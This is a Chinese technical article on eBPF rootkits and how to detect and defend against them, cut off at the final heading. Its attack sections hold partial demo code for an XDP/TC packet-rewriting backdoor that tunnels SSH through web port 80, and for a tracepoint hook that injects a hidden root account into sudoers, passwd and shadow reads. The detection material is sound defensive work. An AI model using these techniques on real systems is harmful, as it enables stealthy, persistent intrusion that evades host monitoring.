Linux中基於eBPF的惡意利用與檢測機制

近幾年雲原生領域飛速發展,eBPF技術成爲各廠商首選技術,在網絡編排、行爲觀測等領域四處開花。然而收益與風險並存,不久前爆出的Bvp47後門正是利用BPF技術驚人地在世界各地潛伏了近二十年。今日BPF已演進爲eBPF,黑客會如何利用,造成什麼危害?我們又該如何防範?

前言

近幾年,雲原生領域飛速發展,K8s成爲公認的雲操作系統。容器的高頻率部署、短暫的生命週期、複雜的網絡路由,都給內核安全帶來了新的挑戰。系統內核面對的複雜性在不斷增長,在滿足性能、可擴展性等新需求的同時,還需要保障系統穩定可用,這是極其困難的事情。此時,eBPF出現,它以較小的子系統改動,保障了系統內核的穩定,還具備實時動態加載的特性,能將業務邏輯加載到內核,實現熱更新的動態執行。

eBPF由BPF發展而來,BPF全稱Berkeley Packet Filter,1992年由Steven McCanne和Van Jacobson提出,1997年引入Linux Kernel 2.1,3.0中增加了即時編譯器,應用在網絡過濾領域。2014年Alexei Starovoitov實現了eBPF並擴展到用戶空間,威力更大。常用的TCPDUMP&LIBPCAP就是基於它。在Linux Kernel 4.x中,擴展了內核態函數、用戶態函數、跟蹤點、性能事件(perf_events)以及安全控制等事件類型。尤其是近幾年雲原生快速發展,也帶動了eBPF的繁榮。微軟、Google、Facebook等企業成立eBPF基金會,Cilium公司也發佈了基於eBPF技術實現的網絡產品。不過,在eBPF技術帶動新業務快速發展的同時,也帶來了安全威脅。

現狀分析

我們可以從一些海外資料和國內資料中可以看到,eBPF在解決很多技術難題的同時,也被很多非法的組織和機構惡意利用。

海外資料

Black Hat

在Black Hat 2021的峯會中,Datadog工程師Guillaume Fournier帶來主題爲《With Friends Like eBPF, Who Needs Enemies?》的分享,他介紹了eBPF如何被惡意利用,包括如何構建一個rootkit、如何利用,並將檢測防禦代碼放在了GitHub 上。

DEFCON

在DEF CON29峯會上,安全研究員Pat Hogan也分享了一些eBPF被惡意利用的案例:《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》 ,這裏介紹了eBFP rootkit的應用場景,包括網絡、運行時等場景,以及如何檢測eBPF被惡意利用等。代碼也放在了GitHub 上。

國內資料

對比國外,國內eBPF被惡意利用的資料較少,相關技術分享也較少。可能這方面的危害還沒有得到國內安全同行的關注,如果我們繼續這樣,勢必影響到國內公司在網絡安全防禦體系層面的建設,進而導致安全防護落後於國外,給企業安全甚至國家安全帶來較大的風險。美團信息安全團隊作爲防禦體系的建設方,有責任也有義務帶領大家更好地認識這種惡意利用,分享美團在檢測防禦方面的經驗,加固網絡安全產品,希望能爲國內信息安全建設貢獻一份綿薄之力。

eBPF技術惡意利用的攻擊原理

知己知彼,才能百戰不殆,要想做好防禦,必須要瞭解它的攻擊原理。我們先來看下eBPF的rootkit是如何設計的。從eBPF的功能來看,它提供了以下領域的功能:

  • 網絡
  • 監控
  • 觀測
  • 跟蹤&性能分析
  • 安全

網絡領域,Cilium等雲原生公司做了很多網絡層的產品,在實現網格管理的同時,也做了相應的網絡層面安全策略,尤其是在網絡編排領域,表現尤爲亮眼,逐步代替iptables等產品,大有一統江山的趨勢。而在監控觀測等領域也有很多產品。尤其是運行時安全(Runtime Security)領域,Datadog、Falco、Google等公司也都推出了相應的產品。感興趣的同學,可以參考相關產品源碼分析(Cilium eBPF實現機制源碼分析Datadog的eBPF安全檢測機制分析)的分享。

我們回顧一下eBPF技術的hook點:

eBPF hook位置

從圖中可以看出,eBPF的hook點功能包括以下幾部分:

  1. 可以在Storage、Network等與內核交互之間;
  2. 也可以在內核中的功能模塊交互之間;
  3. 又可以在內核態與用戶態交互之間;
  4. 更可以在用戶態進程空間。

eBPF的功能覆蓋XDP、TC、Probe、Socket等,每個功能點都能實現內核態的篡改行爲,從而使得用戶態完全致盲,哪怕是基於內核模塊的HIDS,一樣無法感知到這些行爲。

基於eBPF的功能函數,從業務場景來看,網絡、監控、觀測類的功能促進了雲原生領域的產品發展;跟蹤/性能分析、安全類功能,加快了安全防禦、審計類產品演進;而安全領域的惡意利用,也會成爲黑客關注的方向。本文將與大家探討一下新的威脅與防禦思路。

從數據流所處階段來看,本文劃分爲兩部分,接下來一起來討論惡意利用、風險危害與防禦思路。

  1. Linux網絡層惡意利用
  2. Linux系統運行時惡意利用

Linux網絡層惡意利用

以一個SSH、Web服務的服務器爲例,在IDC常見網絡訪問策略中,開放公網Web 80端口允許任意來源的IP訪問。而SSH服務只允許特定IP,或者只開放內網端口訪問。

假設這臺服務器已經被黑客入侵,黑客需要留下一個後門,且需要一個隱藏、可靠的網絡鏈路作爲後門通道,那麼在eBPF技術上,會如何實現呢?

XDP/TC層修改TCP包

爲了讓後門隱藏的更好,最好是不開進程,不監聽端口(當前部分我們只討論網絡層隱藏)。而eBPF技術在XDP、TC、Socket等內核層的功能,能夠實現流量信息修改,這些功能常被應用在L3、L4的網絡負載均衡上。比如Cilium的網絡策略都是基於eBPF XDP實現。eBPF hook了XDP點後,更改了TCP包的目標IP,系統內核再將該數據包轉發出去。

按照XDP與TC在Linux內核中,處理ingress與egress的位置,可以更準確地確定hook點。

  • XDP的BPF_PROG_TYPE_XDP程序類型,可以丟棄、修改、重傳來自ingress的流量,但無法對egress起作用。
  • TC的BPF_PROG_TYPE_SCHED_CLS除了擁有XDP“BPF_PROG_TYPE_XDP”的功能外,還可以對egress起作用。

前者最常用的場景就是做網絡防火牆,用於網絡流量清洗,效率比傳統防火牆的高很多。後者常用於雲原生場景下,容器、Pod的網絡監控、安全訪問控制等。在這個例子中,要對進出流量都做調整,故兩個hook點都需要有。同樣,在XDP等階段的hook,在這裏做相關包邏輯的處理,能更好地將通信包隱藏,tcpdump等工具都抓不到。

控制鏈路

在後門場景裏,可以在同樣的位置,像eBPF的負載均衡一樣,修改目標端口,從Web Nginx的80改爲SSHD的22,就可以實現網絡數據的透傳,繞開防火牆以及網絡訪問限制。

認證密鑰

由於後門rootkit是在XDP\TC層工作,爲了儘可能的簡單,認證密鑰最好只使用鏈路層、網絡層、傳輸層的數據,即MAC信息、IP五元組之類。IP經常變動,MAC地址大概率是唯一的,以及設定一個固定的端口,這樣更加唯一,作爲rootkit的認證密鑰即可實現(需要Client發起連接時,指定客戶端的TCP端口)。

eBPF uprobe與eBPF map聯動

對於後門rootkit的密鑰更新,利用eBPF也很好實現。比如在Nginx的場景中,uprobe實現hook HTTP的函數,獲取URL參數中特定字符串,再將字符串保存到eBPF map裏,就實現了密鑰更新。

XDP/TC層的eBPF rootkit執行時,讀取eBPF map裏的密鑰,進行比較運算。

實現流程

這裏舉個XDP處理ingress的例子:

SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;

//判斷是否爲SSHD的協議,不是則直接放行
if (!(不是SSHD協議(&c))) {
return XDP_PASS;
}

//判斷rootkit是否匹配,網卡信息與來源端口是否匹配
hack_mac[] = "讀取bpf map配置。"
if(密鑰不匹配) {
return XDP_PASS;
}

// 讀取map,是否已經存在該client信息
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);

// 如果沒找到僞裝信息,則自己組裝
if(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}


// 僞裝mac局域網mac信息
pkt.eth->h_source[0] = 0x00;
...

// 替換僞裝ip來源 ,客戶端端口不變

// 更改目標端口
pkt.tcp->dest = htons(FACK_PORT);    //22

//計算TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;

//寫入已僞裝的map,用於TC處理egress的原mac、IP信息還原。
return XDP_PASS;
}

比較簡單的Demo,即可實現ingress側TCP數據包的僞裝。同樣,TC層處理egress方向的數據包時,只需要對僞裝包的原始信息作還原即可。整個流程如下圖所示:

eBPF在XDP/TC層實現網絡穿透rootkit通信鏈路

這樣,rootkit的通信鏈路並不影響正常用戶訪問,也沒有對原系統做改動,隱蔽性特別好。

視頻演示

我們準備了三臺主機測試:

  1. 入侵者:cnxct-mt2,IP爲172.16.71.1。
  2. 普通用戶:ubuntu,IP爲172.16.71.3。
  3. 被入侵服務器:vm-ubuntu,IP爲172.16.71.4。開放nginx web 80端口;開放SSHD 22端口,並設定iptables規則只允許內網IP訪問。

視頻鏈接

危害

這個rootkit不主動創建Socket,借用其中一個網絡發送包,把消息送達給後門使用者。對系統影響來說,只是一個不起眼的小網絡響應。在萬千HTTP包裏,根本定位不到。

  1. iptables防火牆繞過:利用對外開放的80端口作爲通信隧道;
  2. WebIDS繞過:流量到達服務器後,並不傳遞給Nginx;
  3. NIDS繞過:入侵者流量在局域網之間流傳並無異常,只是無法解密;
  4. HIDS繞過:是否信任了防火牆,忽略了本機/局域網來源的SSHD登錄。

Linux系統運行時惡意利用

雲原生生態下,湧現大批基於eBPF技術實現的集羣網絡管理插件,比如Calico、Cilium等。而業務實現網絡管理服務是以容器化方式部署,且有需要給這些容器啓用SYS_BPF_ADMIN權限以支持eBPF系統調用。這些服務的運行環境,也給攻擊者留下一個完美的發揮空間。

實現流程

回顧eBPF的hook點,作用在syscall的kprobe、tracepoint事件類型,倘若用在後門rootkit場景,是十分可怕的。比如修改內核態返回給用戶態的數據、攔截阻斷用戶態行爲等,爲所欲爲。而更可怕的是,常見的HIDS都是基於內核態或者用戶態做行爲監控,eBPF恰恰繞開了大部分HIDS的監控,且不產生任何日誌,簡直讓人“細思極恐、不寒而慄”。

tracepoint事件類型hook

在SSHD應用中,當用戶登錄時,會讀取/etc/passwd等文件。用戶態SSHD程序,調用open、read等系統調用,讓內核去硬件磁盤上檢索數據,再返回數據給SSHD進程。

用戶態生成payload

用戶態實現/etc/passwd、/etc/shadow等文件payload的生成,並通過eBPF的RewriteConstants機制,完成對ELF .rodata的字段值替換。

import "github.com/ehids/ebpfmanager"

//  通過elf的常量替換方式傳遞數據
func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
	var username = RandString(9)
	var password = RandString(9)
	var s = RandString(8)

	salt := []byte(fmt.Sprintf("$6$%s", s))
	// use salt to hash user-supplied password
	c := sha512_crypt.New()
	hash, err := c.Generate([]byte(password), salt)
    
	var m = map[string]interface{}{}
	res := make([]byte, PAYLOAD_LEN)
	var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
	copy(res, payload)
	m["payload"] = res
	m["payload_len"] = uint32(len(payload))

    // 生成passwd字符串
	var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)
	// 生成shadow字符串
	var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)
	
    // eBPF RewriteContants
    var editor = []manager.ConstantEditor{
		{
			Name:          "payload",
			Value:         m["payload"],
			FailOnMissing: true,
		},
		{
			Name:          "payload_len",
			Value:         m["payload_len"],
			FailOnMissing: true,
            },
    }
    return editor
}

func (this *MBPFContainerEscape) setupManagers() {
	this.bpfManager = &manager.Manager{
		Probes: []*manager.Probe{
			{
				Section:          "tracepoint/syscalls/sys_enter_openat",
				EbpfFuncName:     "handle_openat_enter",
				AttachToFuncName: "sys_enter_openat",
			},
            ...
		},

		Maps: []*manager.Map{
			{
				Name: "events",
			},
		},
	}

	this.bpfManagerOptions = manager.Options{
		...
		// 填充 RewriteContants 對應map
		ConstantEditors: this.constantEditor(),
	}
}

內核態使用payload

const volatile int payload_len = 0;
...
const volatile char payload_shadow[MAX_PAYLOAD_LEN];

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
    // 判斷是否爲rootkit行爲,是否需要加載payload
    ...
    long int read_size = ctx->ret;
    // 判斷原buff長度是否小於payload
    if (read_size < payload_len) {
        return 0;
    }
    
    // 判斷文件類型,匹配追加相應payload
    switch (pbuff_addr->file_type)
    {
    case FILE_TYPE_PASSWD:
        // 覆蓋payload到buf,不足部分使用原buff內容
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
            for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
                if (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                else {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        break;
    case FILE_TYPE_SHADOW:
        // 覆蓋 shadow文件
        ...
        break;
    case FILE_TYPE_SUDOERS:
        //覆蓋sudoers
        ...
        break;
    default:
        return 0;
        break;
    }


    // 將payload內存寫入到buffer
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
    // 發送事件到用戶態
   
    return 0;
}

按照如上Demo rootkit的設計,即完成了隨機用戶名密碼的root賬號添加。在鑑權認證上,也可以配合“eBPF網絡層惡意利用”的Demo,利用eBPF map交互,實現相應鑑權。但rootkit本身並沒有更改硬盤上文件,不產生風險行爲。並且,只針對特定進程的做覆蓋,隱蔽性更好。整個流程如下圖所示:

eBPF在runtime安全場景惡意利用

不管是在物理機上,還是給了root+BPF權限的容器上,都一樣生效。

視頻演示

視頻鏈接

嚴重危害

雲原生場景下,賦予SYS_ADMIN權限的容器場景很多,若配合近期的“Java log4j”漏洞,直接擊穿容器,拿到宿主機權限,是不是很可怕?

然而,比這可怕的是:這種rootkit本身並沒有產生用戶態行爲日誌,也沒有改文件,系統裏查不到這個用戶信息。整個後門行爲不產生數據,讓大部分HIDS失靈

綜述

從本文演示的這兩個場景可以來看,相信大家已經知道了eBPF技術被惡意利用的危害性。其實,這只是eBPF技術被惡意利益的“冰山一角”,在kproeb\uprobe上也有很多功能,比如實現進程隱藏、無痕內網掃描等等。更多相關的惡意利用,大家可參考Bad BPF - Warping reality using eBPF一文。

若入侵者精心設計rootkit,實現進程隱藏等,讓rootkit更加隱蔽,按照本文的思路,實現一個“幽靈般”的後門,想想就讓人後怕。

常規的主機安全防禦產品一般用Netlink、Linux Kernel Module等技術實現進程創建、網絡通信等行爲感知,而eBPF的hook點可以比這些技術更加深,比它們執行更早,意味着常規HIDS並不能感知發現它們。

傳統rootkit,採用hook api的方法,替換原來函數,導致執行函數調用地址發生變化,已有成熟檢測機制,eBPF hook不同於傳統rootkit,函數調用堆棧不變。這給檢測帶來很大的麻煩。

那面對這種後門,我們該如何檢測防禦呢?

檢測防禦

從事件發生的過程來看,分爲三個階段:

  • 運行前
  • 運行時
  • 運行後

運行前

在惡意程序運行前,減少攻擊面,這個思路是不變的。

環境限制

不管是宿主機還是容器,都進行權限收斂,能不賦予SYS_ADMIN、CAP_BPF等權限,就禁止掉。若一定要開放這個權限,那麼只能放到運行時的檢測環節了。

seccomp限制

在容器啓動時,修改默認seccomp.json,禁止bpf系統調用,防止容器逃逸,注意此方法對於Privileged特權容器無效。

內核編譯參數限制

修改函數返回值做運行時防護時,需要用到bpf_override_return,該函數需要內核開啓CONFIG_BPF_KPROBE_OVERRIDE編譯參數,因此非特殊情況不要開啓該編譯參數。

非特權用戶指令

大部分eBPF程序類型都需要root權限的用戶才能調用執行。但有幾個例外,比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB這兩個類型,就不需要root。但需要讀取系統配置開關。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
	    type != BPF_PROG_TYPE_CGROUP_SKB &&
	    !bpf_capable())
		return -EPERM;

開關確認

在/proc/sys/kernel/unprivileged_bpf_disabled裏,可通過執行sysctl kernel.unprivileged_bpf_disabled=1來修改配置。配置含義見Documentation for /proc/sys/kernel/

  • 值爲0表示允許非特權用戶調用bpf;
  • 值爲1表示禁止非特權用戶調用bpf且該值不可再修改,只能重啓後修改;
  • 值爲2表示禁止非特權用戶調用bpf,可以再次修改爲0或1。

特徵檢查

有人提議,在內核加載BPF字節碼時,進行簽名驗證,以便達到只加載安全簽名的BPF字節碼。在lwn.net中也列出這個話題:BPF字節碼簽名計劃

但很多人也提出反對意見,他們認爲BPF模塊這幾年的發展,過於抽象化,越來越複雜,所以不希望加入額外的功能,讓BPF更加不穩定。而是改變思路,讓字節碼加載時簽名,改爲“執行BPF字節碼加載的用戶態程序進行簽名”,這個是已有的內核功能,不會增加系統複雜性。

本文認爲,這確實可以緩解大部分BPF字節碼加載的問題。但使用系統原生命令(tc\ip\bpftool等)加載的話,仍面臨威脅。比如:ip link set dev ens33 xdp obj xdp-example_pass.o

ip命令加載eBPF字節碼

運行檢查

大部分eBPF程序在重啓後不存在了,所以入侵者會盡可能讓後門自啓動。對於Linux系統的自啓動、crontab等計劃任務做好檢查。

用戶態程序可以以各種形式存在,ELF可執行文件、ELF so動態鏈接庫都可以。在執行時,必定會調用BPF syscall來加載BPF字節碼。若只是對可執行ELF做檢測,還不夠準確。

運行時

監控

Linux系統中,所有的程序運行,都必須進行系統調用,eBPF程序也不例外。需要調用syscall爲321的SYS_BPF指令。並且,所有的eBPF程序執行、map創建都必須進行這個syscall調用。那麼,在這個必經之路進行攔截監控,是最好的方案。

SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
	struct bpf_context_t *bpf_context = make_event();
	if (!bpf_context)
		return 0;
	bpf_context->cmd = args->cmd;
	get_common_proc(&bpf_context->procinfo);
	send_event(args, bpf_context);
    return 0;
}

這裏,我們開源的ehids項目做了一個BPF syscall檢測的例子,大家可以Fork瞭解。倉庫地址爲:GitHub/ehids

細心的讀者這時可能會有疑問,假如入侵者的後門執行比較早,對這個系統調用進行欺騙,那怎麼辦呢?這是一個非常好的問題,我們將放到運行後的溯源章節進行討論。但對於大部分場景,HIDS防禦產品還是可以做到第一時間啓動的。

審計&篩查

上面我們討論了對BPF系統的調用進行監控。而在雲原生場景中,基於eBPF實現的網絡產品會頻繁調用,會產生大量的事件日誌,從而給運營同學帶來較大的壓力。那麼,對行爲做精簡、做精確篩選,就成爲我們接下來的目標。

根據程序白名單篩選

數據過濾,是解決大量數據壓力的一種方案。在一些BPF應用的業務服務器上,本身業務行爲會產生大量調用,會給安全預警帶來較大審計壓力。對於已知的進程,我們可以根據進程特徵過濾。

獲取當前進程pid、comm等屬性,根據用戶態寫入eBPF map的配置,決定是否上報、是否攔截。 也可以在用戶態做過濾,但內核態效率更高。如果是做攔截,那必須要在內核態實現。

大家可以參考saBPF產品設計思路 ,用eBPF實現LSM hook點的鉤子程序,完成相關審計調用。雖然GitHub/saBPF-project 的項目代碼還只是Demo,但思路可以借鑑。

根據SYSCALL類型篩選

在BPF syscall裏,子命令的功能包含map、prog等多種類型的操作,bpf() subcommand reference 裏有詳細的讀寫API。在實際的業務場景裏,“寫”的安全風險比“讀”大。所以,我們可以過濾掉“讀”操作,只上報、審計“寫”操作。

比如:

  • MAP的創建BPF_MAP_CREATE
  • PROG加載BPF_PROG_LOAD
  • BPF_OBJ_PIN
  • BPF_PROG_ATTACH
  • BPF_BTF_LOAD
  • BPF_MAP_UPDATE_BATCH

尤其是有BPF需求的業務場景,可以更好的審計日誌。

運行後

這裏提幾個問題,eBPF用戶態程序與內核態程序交互,加載BPF字節碼後,能退出嗎?退出後,內核hook的BPF函數還工作嗎?創建的map是否還存在?後門程序爲了保證更好的隱蔽性,我們當如何選擇?

如果要回答這些問題,不得不提BPF程序的加載機制,BPF對象生命週期。

文件描述符與引用計數器

用戶態程序通過文件描述符FD來訪問BPF對象(progs、maps、調試信息),每個對象都有一個引用計數器。用戶態打開、讀取相應FD,對應計數器會增加。若FD關閉,引用計數器減少,當refcnt爲0時,內核會釋放BPF對象,那麼這個BPF對象將不再工作。

在安全場景裏,用戶態的後門進程若退出後,後門的eBPF程序也隨之退出。在做安全檢查時,這可以作爲一個有利特徵,查看進程列表中是否包含可疑進程。

但並非所有BPF對象都會隨着用戶態進程退出而退出。從內核原理來看,只需要保證refcnt大於0,就可以讓BPF對象存活,讓後門進程持續工作了。其實在BPF的程序類型中,像XDP、TC和基於CGROUP的鉤子是全局的,不會因爲用戶態程序退出而退出。相應FD會由內核維護,保證refcnt計數器不爲零,從而繼續工作。

溯源

安全工程師經常需要根據不同場景作不同的溯源策略。本文給的溯源方式中,都使用了eBPF的相關接口,這意味着:如果惡意程序比檢查工具運行的早,那麼對於結果存在僞造的可能

短生命週期

BPF程序類型代表

  • k[ret]probe
  • u[ret]probe
  • tracepoint
  • raw_tracepoint
  • perf_event
  • socket filters
  • so_reuseport

特點是基於FD管理,內核自動清理,對系統穩定性更好。這種程序類型的後門,在排查時特徵明顯,就是用戶態進程。並且可以通過系統正在運行的BPF程序列表中獲取。

bpftool工具

eBPF程序列表

命令bpftool prog show,以及bpftool prog help查看更多參數。

結果中,可以看到當前系統正在運行的BPF程序、關聯的BPF map ID,以及對應的進程信息等。另外,細心的讀者可能發現,結果中,XDP數據中並沒有進程ID信息,稍後討論。

eBPF map列表

命令bpftool map show,以及bpftool map help可以查看更多參數。

通過查看map信息,可以與程序信息作輔助矯正。並且,可以導出map內數據用來識別惡意進程行爲。這部分我們在“取證”章節討論。

bpflist-bpfcc

bpflist-bpfcc -vv命令可以看到當前服務器運行的“部分”BPF程序列表。以測試環境爲例:

root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc  -vv
open kprobes:

open uprobes:

PID    COMM             TYPE  COUNT
1      systemd          prog  8
10444  ehids            map   4
10444  ehids            prog  5

可以看到系統進程systemd啓動了8個prog程序。ehids進程創建了4個eBPF map與5個prog。但實際上前面也執行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在這裏卻沒有顯示出來。意味着這個命令輸出的結果並不是所有bpf程序、map的情況。

長生命週期

BPF程序類型代表

  • XDP
  • TC
  • LWT
  • CGROUP

上面提到以ip命令加載BPF字節碼的場景,常見BPF工具查詢不到或信息缺失。這背後原因,需要從它的工作原理講起。

ip命令加載BPF原理

BPF對象的生命週期使用引用計時器管理,這一大原則是所有BPF對象都需要遵守的。而長生命週期的程序類型起FD是用戶控件程序傳遞參數給內核空間,之後再由內核空間維持。

以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o爲例。ip命令的參數中包含bpf字節碼文件名,ip進程打開.o字節碼的FD,通過NETLINK發IFLA_XDP類型消息(子類型IFLA_XDP_FD)給內核,內核調用dev_change_xdp_fd函數,由網卡接管FD,引用計數器遞增,用戶空間的ip進程退出後,BPF程序依舊工作。內核源碼參見:elixir.bootlin.com/linux

本文做了抓包驗證,ip程序關聯XDP程序類型:

17:53:22.553708 sendmsg(3, 
	{
	msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 
	msg_namelen=12, 
	msg_iov=[
		{
			iov_base={
				{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, 
				{ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, 
				{
					{nla_len=20, nla_type=IFLA_XDP}, 
					[
						{{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, 
						{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
					]
				}
			},
			iov_len=52
		}
		], 
	msg_iovlen=1, 
	msg_controllen=0, 
	msg_flags=0
	}, 0) = 52

可以看到IFLA_XDP_FD後面的FD參數是6。同樣,刪除XDP程序,需要把FD設置爲-1,對應NETLINK包構成如下:

17:55:16.306843 sendmsg(3, 
	{
	...
					{nla_len=20, nla_type=IFLA_XDP}, 
					[
						{{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, 
						{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
					] }
	...
	}, 0) = 52

不止ip命令,TC命令分類器 也是支持BPF程序,將BPF程序作爲classifiers和 act ions加載到ingress/egress hook點。背後原理與IP類似,也是NetLink協議與內核通信,網卡維持BPF對象計數器。

檢測機制

使用原生ip、tc等命令,查看網卡加載的BPF對象

  1. ip link show
  2. tc filter show dev [網卡名] [ingress|egress]

使用bpftool命令查看

bpftool net show dev ens33 -p命令可以用於查看網絡相關的eBPF hook點。

CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK類型程序的加載情況都可以通過bpftool prog show查看。長短生命週期的BPF程序區別是缺少用戶空間進程PID信息。如下圖所示:

BPFFS

除了前面提到的方法外,BPF文件系統BPFFS也是讓BPF程序後臺運行的方式。用戶空間進程可以使用任意名字將BPF程序PIN到BPFFS。讓在BPFFS來自動增加BPF對象的refcnt引用計數器,來保持後臺的活躍狀態。在使用時,只需要使用bpf_obj_get(“BPFFS path”)就可以獲得BPF對象的FD。

BPFFS在Linux的類型是BPF_FS_MAGIC,默認目錄/sys/fs/bpf/,可自定義修改,但確保文件系統類型是unix.BPF_FS_MAGIC。

在檢測思路上,我們需要關注虛擬文件系統是不是unix.BPF_FS_MAGIC類型。

在Linux系統上,mount -t bpf來查看系統所有掛在的文件類型,是否包含BPFFS類型。

確定BPFFS的目錄後,我們再查看目錄下的掛載點是否存在異常。

取證

內核已加載的BPF對象導出

bpftool工具可以導出有FD id的prog、map。

BPF prog程序

可以導出opcode\visual\linum等多種格式,並可以生成調用關係圖。具體可以查看bpftool的幫助文件。

root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited  PROG [{ file FILE | opcodes | linum }]

BPF map

與prog類似,也可以通過bpftool導出內容,並支持JSON格式化內容。

root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
        "value": {
            ".rodata": [{
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "payload_len": 38
    ...

BPFFS

BPFFS類型的BPF對象,雖然可以更便捷的放到後臺執行,用戶空間程序可以退出,也可以再次讀取,但這也給取證帶來很大便利。bpftool命令也支持從pinned到BPFFS文件系統的路徑裏導出prog、map。參數稍有區別,詳情見bpftool help。

內核未加載的BPF對象

當定位到後門rootkit的用戶空間程序後,那麼BPF字節碼肯定會被其調用。字節碼內容一般會放在一個獨立文件中,或者作爲字節碼編譯到當前程序裏。這也只需要使用IDA之類反編譯工具,定位到相關字節流,導出即可。

以本文演示視頻中的ehids進程爲例,使用GitHub/ehids/ebpfmanager 純Go的eBPF模塊管理器package,對於eBPF字節碼會使用github.com/shuLhan/go-bindata/cmd/go-bindata包對BPF字節碼進行加載、Gzip壓縮,作爲Go代碼的變量,在部署時比較邊界。

IDA Pro加載時,我們可以在.noptrdata段部分看到這塊代碼,開始地址是0000000000827AE0,導出後再解壓,可以還原原來的BPF ELF文件內容。

因爲每個BPF用戶態實現不同,類庫也不一樣,靜態分析實踐起來有難度。那可以模擬相同環境,動態運行,提前hook BPF syscall,找到FD設置的地方,也是可以導出BPF的ELF文件。

字節碼分析

BPF字節碼本身也是ELF格式,只是格式指令上有一定區別。反編譯工具IDA pro也能支持,國外安全工程師開源了一個Python插件:eBPF IDA Proc ,並整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool ,感興趣的同學可以讀讀。

如何防禦

eBPF在網絡安全場景的使用,除了做入侵檢測外,還可以用於防禦。LSM PROBE hook提供了相關功能。以容器逃逸場景爲例,行爲最明顯的特徵是“父子進程”的Namespace不一致,子進程創建完成後,判斷這個特徵是否匹配,返回EPERM覆蓋進程創建函數的返回值,從而起到防禦的目的。相比內核模塊等防禦實現,eBPF實現更加安全、穩定、可靠,從而在源頭上解決容器逃逸的問題。

同樣,本文認爲eBPF也是二進制層最優秀的虛擬補丁、熱更新解決方案。

LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
    return -EPERM;
}

在系統的配置上有一定要求,CONFIG_BPF_LSM=y、CONFIG_LSM等配置內容,必須包含bpf等,詳情可參考BCC類庫Demo lsm probe

工程實現

練手

入門練手,可以嘗試使用BCC的類庫:GitHub/BCC ,以及C語言用戶空間程序的各種Demo例子Demo BPF applications

類庫選擇

工程化時,對項目質量、穩定性、研發效率等都有要求,推薦Cilium的純Go eBPF類庫,由Cilium官方背書可放心使用。Datadog公司的Agent產品也是用這個類庫。

本文的產品也是參考Datadog,抽象包裝了Cilium的eBPF庫,實現配置化便捷管理eBPF程序。GitHub倉庫:ehids/ebpfmanager ,歡迎大家使用。

當然,也可以使用libbpf包裝的Go類庫實現,比如Tracee等產品。

系統兼容性CO-RE

eBPF的出現極大地簡化了編寫內核態代碼的門檻,極高的安全性,友好的加載方式,高效的數據交互,令eBPF深受追捧。然而和編寫傳統內核模塊相同,內核態的功能開發伴隨着繁冗的適配測試工作,Linux繁多的內核版本更是讓適配這件事難度陡增,這也就是BTF出現之前的很長一段時間裏,bcc + clang + llvm被人們詬病的地方。程序在運行的時候,才進行編譯,目標機器還得安裝clang llvm kernel-header等編譯環境,同時編譯也會消耗大量CPU資源,這在某些高負載機器上是不能被接受的。

因此,BTF&CO-RE橫空出現,BTF可以理解爲一種Debug符號描述方式,此前傳統方式Debug信息會非常巨大,Linux內核一般會關閉Debug符號,BTF的出現解決了這一問題,大幅度減少Debug信息的大小,使得生產場景內核攜帶Debug信息成爲可能。

可喜的是,通過運用BTF&CO-RE這項技術,可以幫助開發者節省大量適配精力,但是這項技術目前還是在開發中,還有許多處理不了的場景,比如結構體成員被遷入子結構體中,這時候還是需要手動解決問題,BTF的開發者也寫了一篇文章,講解不同場景的處理方案bpf-core-reference-guide

大型項目

